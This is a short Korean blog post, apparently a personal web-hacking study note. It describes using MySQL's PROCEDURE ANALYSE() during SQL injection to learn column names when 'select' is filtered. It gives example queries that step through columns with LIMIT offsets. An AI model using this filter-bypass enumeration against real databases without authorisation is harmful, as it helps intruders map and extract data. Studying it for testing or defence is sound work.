WEB

SQLI procedure analyse()

J1W0N 2020. 3. 30. 17:28
728x90

최근 웹해킹에 빠져버려서 공부하던 도중 신기한걸 발견했다!

 

 

select가 필터링되어 버리는 상황에선  information_schema 나 columns를 사용할 수가 없다. 그래서 이런상황에서 SQLi를 할 수 있는 방법이 바로 SQLI procedure analyse() 이다!

 

select id from test where no=1 procedure analyse();

이런 식으로 사용해 필드이름을 알아낼 수 있다. 나머지 필드를 알아내고 싶으면 LIMIT을 사용하면 된다!

 

select id from test where no=1 LIMIT 0,1 procedure analyse();

select id from test where no=1 LIMIT 1,1 procedure analyse();

select id from test where no=1 LIMIT 1,2 procedure analyse();

 

요런식으로 말이다 : )